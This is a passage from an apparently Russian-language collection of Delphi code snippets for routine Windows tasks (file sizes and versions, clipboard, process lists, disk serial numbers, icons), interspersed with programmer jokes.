ShowMessage(IntToStr(GetFileSize('c:\prova.pdf')));
end;
|
Как определить размер файла 2.
Автор: Andrey.
function GetFileSize(namefile: string): Integer;
var
InfoFile: TSearchRec;
AttrFile: Integer;
ErrorReturn: Integer;
begin
AttrFile := $0000003F; {Any file}
ErrorReturn := FindFirst(namefile, AttrFile, InfoFile);
if ErrorReturn <> 0 then
Result := -1 {в случае, если файл не найден}
else
Result := InfoFile.Size; {Размер файла в байтах}
FindClose(InfoFile);
end;
|
Как определить размер файла 3.
function GetFileSizeByName(FileName: String): Integer;
var
FindData: TWin32FindData;
hFind: THandle;
begin
Result := -1;
hFind := FindFirstFile(PChar(FileName), FindData);
if hFind <> INVALID_HANDLE_VALUE then
begin
Windows.FindClose(hFind);
if (FindData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) = 0 then
Result := FindData.nFileSizeLow;
end;
end;
|
Получить размер файла.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
function Get_File_Size1(sFileToExamine: string; bInKBytes: Boolean): string;
{
for some reason both methods of finding file size return
a filesize that is slightly larger than what Windows File
Explorer reports
}
var
FileHandle: THandle;
FileSize: LongWord;
d1: Double;
i1: Int64;
begin
//a- Get file size
FileHandle := CreateFile(PChar(sFileToExamine),
GENERIC_READ,
0, {exclusive}
nil, {security}
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
0);
FileSize := GetFileSize(FileHandle, nil);
Result := IntToStr(FileSize);
CloseHandle(FileHandle);
//a- optionally report back in Kbytes
if bInKbytes = True then
begin
if Length(Result) > 3 then
begin
Insert('.', Result, Length(Result) - 2);
d1 := StrToFloat(Result);
Result := IntToStr(round(d1)) + 'KB';
end
else
Result := '1KB';
end;
end;
{******************************************************************************
Thanks to Advanced Delphi Systems here's another method which works just as
well returning the same results
*******************************************************************************}
function Get_File_Size2(sFileToExamine: string; bInKBytes: Boolean): string;
var
SearchRec: TSearchRec;
sgPath: string;
inRetval, I1: Integer;
begin
sgPath := ExpandFileName(sFileToExamine);
try
inRetval := FindFirst(ExpandFileName(sFileToExamine), faAnyFile, SearchRec);
if inRetval = 0 then
I1 := SearchRec.Size
else
I1 := -1;
finally
SysUtils.FindClose(SearchRec);
end;
Result := IntToStr(I1);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if OpenDialog1.Execute then
label1.Caption := Get_File_Size(Opendialog1.FileName, True);
end;
{*******************************************************************************}
function Get_File_Size3(const FileName: string): TULargeInteger;
// by nico
var
Find: THandle;
Data: TWin32FindData;
begin
Result.QuadPart := -1;
Find := FindFirstFile(PChar(FileName), Data);
if (Find <> INVALID_HANDLE_VALUE) then
begin
Result.LowPart := Data.nFileSizeLow;
Result.HighPart := Data.nFileSizeHigh;
Windows.FindClose(Find);
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
if (OpenDialog1.Execute) then
ShowMessage(IntToStr(Get_File_Size3(OpenDialog1.FileName).QuadPart));
end;
{*******************************************************************************}
function Get_File_Size4(const S: string): Int64;
var
FD: TWin32FindData;
FH: THandle;
begin
FH := FindFirstFile(PChar(S), FD);
if FH = INVALID_HANDLE_VALUE then Result := 0
else
try
Result := FD.nFileSizeHigh;
Result := Result shl 32;
Result := Result + FD.nFileSizeLow;
finally
CloseHandle(FH);
end;
end;
Как перед скачиванием узнать размер файла.
| Приходит юзер к провайдерам и говорит. - У Вас маршрут на Москву не работает. - А откуда Вы знаете?... |
GetUrlInfo(HTTP_QUERY_CONTENT_LENGTH, 'http://some.com/some.zip');
function GetUrlInfo(const dwInfoLevel: DWORD; const FileURL: string):
string;
var
hSession, hFile: hInternet;
dwBuffer: Pointer;
dwBufferLen, dwIndex: DWORD;
begin
Result := '';
hSession := InternetOpen('STEROID Download',
INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
if Assigned(hSession) then begin
hFile := InternetOpenURL(hSession, PChar(FileURL), nil, 0,
INTERNET_FLAG_RELOAD, 0);
dwIndex := 0;
dwBufferLen := 20;
if HttpQueryInfo(hFile, dwInfoLevel, @dwBuffer, dwBufferLen, dwIndex)
then Result := PChar(@dwBuffer);
if Assigned(hFile) then InternetCloseHandle(hFile);
InternetCloseHandle(hsession);
end;
end;
|
Получение информации о версии файла.
Автор: Gua WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение информации о версии файла
Зависимости:
Автор: Gua, fbsdd@ukr.net, ICQ:141585495, Simferopol
Copyright:
Дата: 05 мая 2002 г.
***************************************************** }
{$B-,R-}
function GetFileVersion(const FileName: string): string;
type
PDWORD = ^DWORD;
PLangAndCodePage = ^TLangAndCodePage;
TLangAndCodePage = packed record
wLanguage: WORD;
wCodePage: WORD;
end;
PLangAndCodePageArray = ^TLangAndCodePageArray;
TLangAndCodePageArray = array[0..0] of TLangAndCodePage;
var
loc_InfoBufSize: DWORD;
loc_InfoBuf: PChar;
loc_VerBufSize: DWORD;
loc_VerBuf: PChar;
cbTranslate: DWORD;
lpTranslate: PDWORD;
i: DWORD;
begin
Result := '';
if (Length(FileName) = 0) or (not Fileexists(FileName)) then
Exit;
loc_InfoBufSize := GetFileVersionInfoSize(PChar(FileName), loc_InfoBufSize);
if loc_InfoBufSize > 0 then
begin
loc_VerBuf := nil;
loc_InfoBuf := AllocMem(loc_InfoBufSize);
try
if not GetFileVersionInfo(PChar(FileName), 0, loc_InfoBufSize, loc_InfoBuf)
then
exit;
if not VerQueryValue(loc_InfoBuf, '\\VarFileInfo\\Translation',
Pointer(lpTranslate), DWORD(cbTranslate)) then
exit;
for i := 0 to (cbTranslate div SizeOf(TLangAndCodePage)) - 1 do
begin
if VerQueryValue(
loc_InfoBuf,
PChar(Format(
'StringFileInfo\0%x0%x\FileVersion', [
PLangAndCodePageArray(lpTranslate)[i].wLanguage,
PLangAndCodePageArray(lpTranslate)[i].wCodePage])),
Pointer(loc_VerBuf),
DWORD(loc_VerBufSize)
) then
begin
Result := loc_VerBuf;
Break;
end;
end;
finally
FreeMem(loc_InfoBuf, loc_InfoBufSize);
end;
end;
end;
Определить букву первого CD-ROM.
function GetFirstCDROM: string;
{возвращает букву 1-го привода CD-ROM или пустую строку}
var
w: dword;
Root: string;
i: integer;
begin
w := GetLogicalDrives;
Root := '#:\';
for i := 0 to 25 do
begin
Root[1] := Char(Ord('A') + i);
if (W and (1 shl i)) > 0 then
if GetDriveType(Pchar(Root)) = DRIVE_CDROM then
begin
Result := Root[1];
exit;
end;
end;
Result := '';
end;
Как получить дескриптор текущего окна.
HWND GetForegroundWindow(VOID); |
Получить имена свободных com портов.
Для начала подключите модуль Registry в области uses. Затем на форму нужно будет вынести кнопку и многострочное текстовое поле класса TMemo. Ну и по нажатию на кнопку написать следующий код:
procedure TForm1.Button1Click(Sender: TObject);
var
reg: TRegistry;
st: TStrings;
i: integer;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('hardware\devicemap\serialcomm', false);
st := TStringList.Create;
reg.GetValueNames(st);
for i := 0 to st.Count - 1 do
Memo1.Lines.Add(reg.ReadString(st.Strings[i]));
st.Free;
reg.CloseKey;
reg.free;
end;
|
Получение текста из буфера обмена без использования модуля Clipbrd.
Автор: Dimka Maslov WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение текста из буфера обмена без использования модуля Clipbrd
Wnd - Handle окна, получающего доступ к буферу обмена;
Str - строка, в которую будет скопирован текст;
Зависимости: Windows
Автор: Dimka Maslov, mainbox@endimus.ru, ICQ:148442121, Санкт-Петербург
Copyright: Dimka Maslov
Дата: 22 августа 2002 г.
***************************************************** }
function GetClipboardText(Wnd: HWND; var Str: string): Boolean;
var
hData: HGlobal;
begin
Result := True;
if OpenClipboard(Wnd) then
begin
try
hData := GetClipboardData(CF_TEXT);
if hData <> 0 then
begin
try
SetString(Str, PChar(GlobalLock(hData)), GlobalSize(hData));
finally
GlobalUnlock(hData);
end;
end
else
Result := False;
Str := PChar(@Str[1]);
finally
CloseClipboard;
end;
end
else
Result := False;
end;
Пример использования:
function TForm1.Button2Click(Sender: TObject) var Str: string; begin GetClipboardText(Handle, Str); ShowMessage(Str); end;
Получение OpenGL расширений.
Автор: Gua WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение OpenGL расширений
Зависимости: OpenGL
Автор: Gua, gua@ukr.net, ICQ:141585495, Simferopol
Copyright: Gua
Дата: 18 июля 2002 г.
***************************************************** }
function GetOGLExtensions: string;
var
DC: HDC;
hrc: HGLRC;
{Установка формата пикселей}
procedure SetDCPixelFormat;
var
DC: HDC;
nPixelFormat: Integer;
pfd: TPixelFormatDescriptor;
begin
FillChar(pfd, SizeOf(pfd), 0);
nPixelFormat := ChoosePixelFormat(DC, @pfd);
SetPixelFormat(DC, nPixelFormat, @pfd);
end;
begin
DC := GetDC(0);
SetDCPixelFormat;
hrc := wglCreateContext(DC);
wglMakeCurrent(DC, hrc);
Result := StrPas(PChar(glGetString(GL_EXTENSIONS)));
wglMakeCurrent(0, 0);
wglDeleteContext(hrc);
ReleaseDC(0, DC);
DeleteDC(DC);
end;
Пример использования:
MessageDlg(GetOGLExtensions,mtInformation,[mbOK],0);
Получить доступ в определенной части GUID.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{ Manchmal wird nur ein Teil einer GUID benotigt.... }
{ You maybe have to access just a part of a GUID. }
{ Const for the function Format(...) }
const
fsGUID: string = 'D1: $%s'#13#10'D2: $%s'#13#10'D3: $%s'#13#10 +
'D4: $%s $%s $%s $%s $%s $%s $%s $%s';
fsGUIDParts: string = 'D%d:%s';
// Type for the GUID part to be shown
type
TGUIDPART = (guidp_NoFormat, guidp_All, guidp_D1,
guidp_D2, guidp_D3, guidp_D4);
{ This GUIDToStringEx function give you the full GUID string
according with then format string FStr (you can change it !!!) }
function GUIDToStringEx(Guid: TGuid; FStr: string): string; overload;
begin
Result := Format(FStr,
[IntToHex(GUID.D1, 8),
IntToHex(GUID.D2, 4),
IntToHex(GUID.D3, 4),
IntToHex(GUID.D4[0], 2),
IntToHex(GUID.D4[1], 2),
IntToHex(GUID.D4[2], 2),
IntToHex(GUID.D4[3], 2),
IntToHex(GUID.D4[4], 2),
IntToHex(GUID.D4[5], 2),
IntToHex(GUID.D4[6], 2),
IntToHex(GUID.D4[7], 2)
]);
end;
{ This GUIDToStringEx function give you the part of the GUID
to be shown, according to the part type GUIDPart }
function GUIDToStringEx(Guid: TGuid; Part: TGUIDPART): string; overload;
var
i: Integer;
S: string;
begin
S := '';
case Part of
guidp_NoFormat: S := GUIDToString(Guid);
guidp_All: S := GUIDToStringEx(Guid, fsGUID);
guidp_D1: S := Format(fsGUIDParts, [1, ' $' + IntToHex(GUID.D1, 8)]);
guidp_D2: S := Format(fsGUIDParts, [2, ' $' + IntToHex(GUID.D2, 4)]);
guidp_D3: S := Format(fsGUIDParts, [3, ' $' + IntToHex(GUID.D3, 4)]);
guidp_D4:
begin
for i := 0 to 7 do S := S + ' $' + IntToHex(GUID.D4[i], 2);
S := Format(fsGUIDParts, [4, S]);
end;
else
S := '?';
end;
Result := S;
end;
{ How to use the different GUIDToStringEx functions }
procedure TForm1.Button1Click(Sender: TObject);
var
NewGUID: TGUID;
begin
{ Create a new GUID }
NewGUID := StringToGUID(CreateClassID);
{ Standard formated GUID string }
label1.Caption := GUIDToStringEx(NewGUID, guidp_NoFormat) +
#13#10+
{ Full formated GUID string acc. with fsGUID}
GUIDToStringEx(NewGUID, fsGUID) +
#13#10+
{ Full formated GUID string with default formating}
GUIDToStringEx(NewGUID, guidp_All) +
#13#10+
{ Part D3 of the GUID only }
GUIDToStringEx(NewGUID, guidp_D3);
end;
Как получить хэндлы всех процессов, которые запущены на данный момент в системе.
Под Windows 95 это возможно с использованием вспомогательных информационных функций (tool help functions). Для получения списка процессов надо делать следующее:
// Получение снимка состояния системы hSnapshot := CreateToolhelp32Snapshot (TH32CS_SNAPPROCESS, 0); // Получене информации о первом процессе в списке Process32First(); // Получение информации о следующем процессе в списке Далее в цикле Process32Next(); |
unit KernlUtl;
interface
uses
TlHelp32, Windows, Classes, Sysutils;
procedure GetProcessList(List: TStrings);
procedure GetModuleList(List: TStrings);
function GetProcessHandle(ProcessID: DWORD): THandle;
procedure GetParentProcessInfo(var ID: DWORD; var Path: string);
const
PROCESS_TERMINATE = $0001;
PROCESS_CREATE_THREAD = $0002;
PROCESS_VM_OPERATION = $0008;
PROCESS_VM_READ = $0010;
PROCESS_VM_WRITE = $0020;
PROCESS_DUP_HANDLE = $0040;
PROCESS_CREATE_PROCESS = $0080;
PROCESS_SET_QUOTA = $0100;
PROCESS_SET_INFORMATION = $0200;
PROCESS_QUERY_INFORMATION = $0400;
PROCESS_ALL_ACCESS =
STANDARD_RIGHTS_REQUIRED or SYNCHRONIZE or $0FFF;
implementation
procedure GetProcessList(List: TStrings);
var
I: Integer;
hSnapshoot: THandle;
pe32: TProcessEntry32;
begin
List.Clear;
hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshoot = -1) then
Exit;
pe32.dwSize := SizeOf(TProcessEntry32);
if (Process32First(hSnapshoot, pe32)) then
repeat
I := List.Add(Format('%x, %x: %s',
[pe32.th32ProcessID, pe32.th32ParentProcessID, pe32.szExeFile]));
List.Objects[I] := Pointer(pe32.th32ProcessID);
until
not Process32Next(hSnapshoot, pe32);
CloseHandle (hSnapshoot);
end;
procedure GetModuleList(List: TStrings);
var
I: Integer;
hSnapshoot: THandle;
me32: TModuleEntry32;
begin
List.Clear;
hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0);
if (hSnapshoot = -1) then
Exit;
me32.dwSize := SizeOf(TModuleEntry32);
if (Module32First(hSnapshoot, me32)) then
repeat
I := List.Add(me32.szModule);
List.Objects[I] := Pointer(me32.th32ModuleID);
until
not Module32Next(hSnapshoot, me32);
CloseHandle (hSnapshoot);
end;
procedure GetParentProcessInfo(var ID: DWORD; var Path: string);
var
ProcessID: DWORD;
hSnapshoot: THandle;
pe32: TProcessEntry32;
begin
ProcessID := GetCurrentProcessID;
ID := -1;
Path := '';
hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshoot = -1) then
Exit;
pe32.dwSize := SizeOf(TProcessEntry32);
if (Process32First(hSnapshoot, pe32)) then
repeat
if pe32.th32ProcessID = ProcessID then
begin
ID := pe32.th32ParentProcessID;
Break;
end;
until
not Process32Next(hSnapshoot, pe32);
if ID <> -1 then
begin
if (Process32First(hSnapshoot, pe32)) then
repeat
if pe32.th32ProcessID = ID then
begin
Path := pe32.szExeFile;
Break;
end;
until
not Process32Next(hSnapshoot, pe32);
end;
CloseHandle (hSnapshoot);
end;
function GetProcessHandle(ProcessID: DWORD): THandle;
begin
Result := OpenProcess(PROCESS_ALL_ACCESS, True, ProcessID);
end;
end.
|
Получить Handle и имя класса окна под мышкой.
| Перевод куска текста к "хелпу" Win'95 без основного словаря переводчиком Poliglossum с медицинским, коммерческим и юридическим словарем). Microsoft компания получает много откликов после появления Окон 95. Мы выявили, что много пользователей встретили проблему мыши. В этом документе Служба Техничного Упора Microsoft компании сводит вместе всю полезную информацию о возможных проблемах с мышами и гуртовщиками мыши и забота-стреляние. Если вы только что закрепили себе Окна 95, вы можете увидеть, что ваша мышь плохо себя ведет. Курсор может не двигаться или движение мыши может проявлять странные следы на поверхности стола, окнах и обоях. Мышь может неадекватно реагировать на щелчок по почкам. Но не спешите! Это могут быть физические проблемы, а не клоп Окон 95. Почистите вашу мышь. Отсоедините ее поводок от компьютера, вытащите гениталий и промойте его и ролики внутренностей спиртом. Снова зашейте мышь. Проверьте на переломы поводка. Подсоедините мышь к компьютеру. Приглядитесь к вашей прокладке (подушке) - она не должна быть источником мусора и пыли в гениталии и роликах. Поверхность прокладки не должна стеснять движения мыши. Может быть вам стоит купить новую мышь. Мы настоятельно рекомендуем Microsoft мышь. Она эргономично спроектирована, особо сделана под Окна 95 и имеет третью почку в виде колеса, которые могут завивать окна. Совокупление Microsoft мыши и Окон 95 делает вашу повседневную работу легко приятной. Испытайте все это. Если проблемы остались - ваш гуртовщик мыши плохо стоит под Окнами 95. Его придется убрать. Вам нужен новый гуртовщик мыши. Если вы пользователь Microsoft мыши посетите Microsoft Слугу Паутины, где в особом подвале вы сможете опустить-загрузить самого текущего гуртовщика Microsoft мыши. Если производитель вашей мыши другой, узнайте о ее гуртовщике. Все основные производители мыши уже имеют гуртовщиков мыши для Окон 95. Перед тем как вы будете закреплять гуртовщика мыши, сделайте заднюю-верхнюю копию ваших досье. Почистить ваш винчестер имеет смысл. У вас должен быть старт-вверх диск от Окон 95. После того, как вы закрепили нового гуртовщика, скорее всего ваши проблемы решены. Если они остались, напишите в Службу Техничного Упора Microsoft, и вашим случаем займется Особый Отдел. Для эффективной помощи техничного упора, наш инженер должен знать торговую марку вашей мыши, тип (в-портовая мышь, периодическая мышь, автобусная мышь, Полицейский Участок /2 мышь, без поводка мышь, гениталий на гусеничном ходу и т. п.), версию гуртовщика, производителя компьютера (матери-доски), положение портов и рубильников на матери-доске (и расклад карт), а также содержимое досье Авто-#####.bat, config.sys и Сапог-полено.txt. Кроме того, несколько полезных советов: 1) Не закрепляйте себе Окна 95 в то же самое место, где у вас закреплены Окна 3. икс, вы не сможете хорошо делать кое-что привычное. 2) Если вы новичок под Окнами 95, привыкните к новым возможностям мыши. Щелкните по левой почке - выделите пункт, ударьте по правой почке меню с контекстом всплывет, быстро ударьте два раза по левой почке - запустите повестку в суд. 4) Отработайте быстрый двойной удар по почкам мыши с помощью специального тренажера на пульте управления Окнами 95. 6) Специалисты Microsoft компании после большого числа опытов выявили, что наиболее эффективной командой из-под Окон 95 является "Послать на...", которая доступна в любом времени и месте при ударе по правой почке мыши. Если вы только что закрепили себе окна 95, вы сумеете послать только на А (Б) и в специальное место "Мой портфель". Но по мере того как вы будете закреплять себе новые программы для Окон 95, вы начнете посылать на все более сложные и интересные места и объекты. Особую эффективность команда "Послать на..." приобретет при передачи посланий через Е-почту и общение с вашими коллегами и друзьями в местной сети-работе. Попробуйте мощь команды "Послать на...", и вы быстро убедитесь, что без нее трудно существовать под Окнами 95. Пишите нам и помните, что Microsoft компания всегда думает о том, как ВАС ЛУЧШЕ СДЕЛАТЬ. |
type
TForm1 = class(TForm)
Label1: TLabel;
Label2: TLabel;
Timer1: TTimer;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
procedure ShowHwndAndClassName(CrPos: TPoint);
public
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Timer1Timer(Sender: TObject);
var
rPos: TPoint;
begin
if Boolean(GetCursorPos(rPos)) then ShowHwndAndClassName(rPos);
end;
procedure TForm1.ShowHwndAndClassName(CrPos: TPoint);
var
hWnd: THandle;
aName: array [0..255] of Char;
begin
hWnd := WindowFromPoint(CrPos);
Label1.Caption := 'Handle : ' + IntToStr(hWnd);
if Boolean(GetClassName(hWnd, aName, 256)) then
Label2.Caption := 'ClassName : ' + string(aName)
else
Label2.Caption := 'ClassName : not found';
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Form1.FormStyle := fsStayOnTop;
Timer1.Interval := 50;
end;
|
Поличение серийного номера IDE диска.
Автор: Alex Konshin WEB-сайт: http://delphibase.endimus.com
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Поличение серийного номера IDE диска.
Функция получает серийный номер первого физического диска IDE (не серийный номер тома!).
Используется S.M.A.R.T. API, а под Windows NT/2K/XP запрос производится не напрямую к диску,
а через miniport драйвер контроллера, что позволяет читать серийный номер не имея прав администратора.
Функция может не работать, если первый контролер в системе не ATA или если первое устройство
не является винчестером, который поддерживает SMART (современные винчестеры поддерживают).
Если Вы хотите получить другие параметры диска/других дисков, то смотрите пример IdeInfo2 с моего сайта.
На Windows 9x требует наличия драйвера smartvsd.vxd (должен быть в стандартной поставке),
просто скопируйте его в \windows\system\iosubsys и перезагрузите компьютер.
Зависимости: Windows, SysUtils
Автор: Alex Konshin, akonshin@earthlink.net, Boston, USA
Copyright: http://home.earthlink.net/~akonshin/index.htm
Дата: 30 декабря 2002 г.
***************************************************** }
function GetIdeDiskSerialNumber: string;
type
TSrbIoControl = packed record
HeaderLength: ULONG;
Signature: array[0..7] of Char;
Timeout: ULONG;
ControlCode: ULONG;
ReturnCode: ULONG;
Length: ULONG;
end;
SRB_IO_CONTROL = TSrbIoControl;
PSrbIoControl = ^TSrbIoControl;
TIDERegs = packed record
bFeaturesReg: Byte; // Used for specifying SMART "commands".
bSectorCountReg: Byte; // IDE sector count register
bSectorNumberReg: Byte; // IDE sector number register
bCylLowReg: Byte; // IDE low order cylinder value
bCylHighReg: Byte; // IDE high order cylinder value
bDriveHeadReg: Byte; // IDE drive/head register
bCommandReg: Byte; // Actual IDE command.
bReserved: Byte; // reserved for future use. Must be zero.
end;
IDEREGS = TIDERegs;
PIDERegs = ^TIDERegs;
TSendCmdInParams = packed record
cBufferSize: DWORD; // Buffer size in bytes
irDriveRegs: TIDERegs; // Structure with drive register values.
bDriveNumber: Byte; // Physical drive number to send command to (0,1,2,3).
bReserved: array[0..2] of Byte; // Reserved for future expansion.
dwReserved: array[0..3] of DWORD; // For future use.
bBuffer: array[0..0] of Byte; // Input buffer.
end;
SENDCMDINPARAMS = TSendCmdInParams;
PSendCmdInParams = ^TSendCmdInParams;
TIdSector = packed record
wGenConfig: Word;
wNumCyls: Word;
wReserved: Word;
wNumHeads: Word;
wBytesPerTrack: Word;
wBytesPerSector: Word;
wSectorsPerTrack: Word;
wVendorUnique: array[0..2] of Word;
sSerialNumber: array[0..19] of Char;
wBufferType: Word;
wBufferSize: Word;
wECCSize: Word;
sFirmwareRev: array[0..7] of Char;
sModelNumber: array[0..39] of Char;
wMoreVendorUnique: Word;
wDoubleWordIO: Word;
wCapabilities: Word;
wReserved1: Word;
wPIOTiming: Word;
wDMATiming: Word;
wBS: Word;
wNumCurrentCyls: Word;
wNumCurrentHeads: Word;
wNumCurrentSectorsPerTrack: Word;
ulCurrentSectorCapacity: ULONG;
wMultSectorStuff: Word;
ulTotalAddressableSectors: ULONG;
wSingleWordDMA: Word;
wMultiWordDMA: Word;
bReserved: array[0..127] of Byte;
end;
PIdSector = ^TIdSector;
const
IDE_ID_FUNCTION = $EC;
IDENTIFY_BUFFER_SIZE = 512;
DFP_RECEIVE_DRIVE_DATA = $0007C088;
IOCTL_SCSI_MINIPORT = $0004D008;
IOCTL_SCSI_MINIPORT_IDENTIFY = $001B0501;
DataSize = sizeof(TSendCmdInParams) - 1 + IDENTIFY_BUFFER_SIZE;
BufferSize = SizeOf(SRB_IO_CONTROL) + DataSize;
W9xBufferSize = IDENTIFY_BUFFER_SIZE + 16;
var
hDevice: THandle;
cbBytesReturned: DWORD;
pInData: PSendCmdInParams;
pOutData: Pointer; // PSendCmdInParams;
Buffer: array[0..BufferSize - 1] of Byte;
srbControl: TSrbIoControl absolute Buffer;
procedure ChangeByteOrder(var Data; Size: Integer);
var
ptr: PChar;
i: Integer;
c: Char;
begin
ptr := @Data;
for i := 0 to (Size shr 1) - 1 do
begin
c := ptr^;
ptr^ := (ptr + 1)^;
(ptr + 1)^ := c;
Inc(ptr, 2);
end;
end;
begin
Result := '';
FillChar(Buffer, BufferSize, #0);
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin // Windows NT, Windows 2000
// Get SCSI port handle
hDevice := CreateFile('\\.\Scsi0:', GENERIC_READ or GENERIC_WRITE,
FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);
if hDevice = INVALID_HANDLE_VALUE then
Exit;
try
srbControl.HeaderLength := SizeOf(SRB_IO_CONTROL);
System.Move('SCSIDISK', srbControl.Signature, 8);
srbControl.Timeout := 2;
srbControl.Length := DataSize;
srbControl.ControlCode := IOCTL_SCSI_MINIPORT_IDENTIFY;
pInData := PSendCmdInParams(PChar(@Buffer) + SizeOf(SRB_IO_CONTROL));
pOutData := pInData;
with pInData^ do
begin
cBufferSize := IDENTIFY_BUFFER_SIZE;
bDriveNumber := 0;
with irDriveRegs do
begin
bFeaturesReg := 0;
bSectorCountReg := 1;
bSectorNumberReg := 1;
bCylLowReg := 0;
bCylHighReg := 0;
bDriveHeadReg := $A0;
bCommandReg := IDE_ID_FUNCTION;
end;
end;
if not DeviceIoControl(hDevice, IOCTL_SCSI_MINIPORT, @Buffer,
BufferSize, @Buffer, BufferSize, cbBytesReturned, nil) then
Exit;
finally
CloseHandle(hDevice);
end;
end
else
begin // Windows 95 OSR2, Windows 98
hDevice := CreateFile('\\.\SMARTVSD', 0, 0, nil, CREATE_NEW, 0, 0);
if hDevice = INVALID_HANDLE_VALUE then
Exit;
try
pInData := PSendCmdInParams(@Buffer);
pOutData := PChar(@pInData^.bBuffer);
with pInData^ do
begin
cBufferSize := IDENTIFY_BUFFER_SIZE;
bDriveNumber := 0;
with irDriveRegs do
begin
bFeaturesReg := 0;
bSectorCountReg := 1;
bSectorNumberReg := 1;
bCylLowReg := 0;
bCylHighReg := 0;
bDriveHeadReg := $A0;
bCommandReg := IDE_ID_FUNCTION;
end;
end;
if not DeviceIoControl(hDevice, DFP_RECEIVE_DRIVE_DATA, pInData,
SizeOf(TSendCmdInParams) - 1, pOutData, W9xBufferSize,
cbBytesReturned, nil) then
Exit;
finally
CloseHandle(hDevice);
end;
end;
with PIdSector(PChar(pOutData) + 16)^ do
begin
ChangeByteOrder(sSerialNumber, SizeOf(sSerialNumber));
SetString(Result, sSerialNumber, SizeOf(sSerialNumber));
end;
end;
Пример использования:
var
s: string;
rc: DWORD;
begin
s := GetIdeDiskSerialNumber;
if s = '' then
begin
rc := GetLastError;
if rc = 0 then
WriteLn('IDE drive is not support SMART feature')
else
WriteLn(SysErrorMessage(rc));
end
else
WriteLn('Disk serial number: ''', s, '''');
end.
Получить серийный номер диска.
| Куплю винчестер. Жёсткие диски не предлагать. |
function GetHardDiskSerial(const DriveLetter: Char): string;
var
NotUsed: DWORD;
VolumeFlags: DWORD;
VolumeInfo: array[0..MAX_PATH] of Char;
VolumeSerialNumber: DWORD;
begin
GetVolumeInformation(PChar(DriveLetter + ':\'),
nil, SizeOf(VolumeInfo), @VolumeSerialNumber, NotUsed,
VolumeFlags, nil, 0);
Result := Format('Label = %s VolSer = %8.8X',
[VolumeInfo, VolumeSerialNumber])
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(GetHardDiskSerial('c'));
end;
|
Получить серийный номер диска 2.
procedure TForm1.Button1Click(Sender: TObject);
var
VolumeName,
FileSystemName: array[0..MAX_PATH - 1] of Char;
VolumeSerialNo: DWord;
MaxComponentLength,
FileSystemFlags: Integer;
begin
GetVolumeInformation('C:\', VolumeName, MAX_PATH, @VolumeSerialNo,
MaxComponentLength, FileSystemFlags,
FileSystemName, MAX_PATH);
Memo1.Lines.Add('VName = ' + VolumeName);
Memo1.Lines.Add('SerialNo = $' + IntToHex(VolumeSerialNo, 8));
Memo1.Lines.Add('CompLen = ' + IntToStr(MaxComponentLength));
Memo1.Lines.Add('Flags = $' + IntToHex(FileSystemFlags, 4));
Memo1.Lines.Add('FSName = ' + FileSystemName);
end;
|
Как получить полный исходник HTML.
| Автор: Ron Loewy |
| Насколько проще была бы жизнь, если бы она была в исходниках. |
В IE5, можно получить исходник используя свойство outerHTML тэгов HTML. В IE4 или IE3, Вам понадобится записать документ в файл, а затем загрузить файл в TMemo, TStrings, и т.д.
var
HTMLDocument: IHTMLDocument2;
PersistFile: IPersistFile;
begin
...
HTMLDocument := WebBrowser1.Document as IHTMLDocument2;
PersistFile := HTMLDocument as IPersistFile;
PersistFile.Save(StringToOleStr('test.htm'), True);
while HTMLDocument.readyState <> 'complete' do
Application.ProcessMessages;
...
end;
|
Обратите внимание: Вам понадобится импортировать библиотеку MSHTML и добавить MSHTML_TLB как ActiveX, в секцию Uses.
Получение иконки из ICO, EXE, DLL.
| Богоматерь.ico |
Процесс получения иконок из .EXE, .DLL или .ICO файлов полностью идентичен. Различие только в том, что в .ICO файле может храниться только одна иконка, а в .EXE и .DLL несколько. Для получения иконок из файлов, в модуле ShellAPI, есть функция:
function ExtractIcon(Inst: THandle; FileName: PChar; IconIndex: Word): HIcon; |
Где.
Inst указатель на приложение вызвавшее функцию, FileName имя файла из которого необходимо получить иконку, IconIndex номер необходимой иконки.Если функция возвращает значение не равное нулю, то в файле есть следующая иконка.
В данном примере в компонент Image1 выводится иконка запущенного файла.
uses ShellAPI;
...
procedure TForm1.FormCreate(Sender: TObject);
var
A: array [0..78] of Char;
begin
{Получение имени запущенного файла}
StrPCopy(A, ParamStr(0));
{Вывод на экран нулевой иконки из файла}
Image1.Picture.Icon.Handle := ExtractIcon(HInstance, A, 0);
end;
|
Если вы хотите создать некий браузер по иконкам, то можете воспользоваться компонентами с закладки Win3.1. Вынесите на форму компонент TFileListBox; затем TDirectoryListBox, в свойстве FileList укажите на список файлов [TFileListBox]; после этого возьмите компонент класса TDriveComboBox, указав в его свойстве DirList на список каталогов [TDirectoryListBox], ну, и, наконец, ставьте TFilterComboBox, который позволит в списке файлов отображать только те файлы, которые соответствуют маске, указанной в свойстве Filter. Здесь в качестве значения укажите следующее: ico|*.ico|dll|*.dll|exe|*.exe|all|*.ico; *.dll; *.exe ..а в свойстве FileList задайте список файлов [TFileListBox]. В обработчике OnClick компонента TFileListBox напишите такой код:
var
A: array [0..78] of Char;
begin
{Получение имени файла, указанного в списке файлов}
StrPCopy(A, FileListBox1.FileName);
{Вывод на экран нулевой иконки из файла}
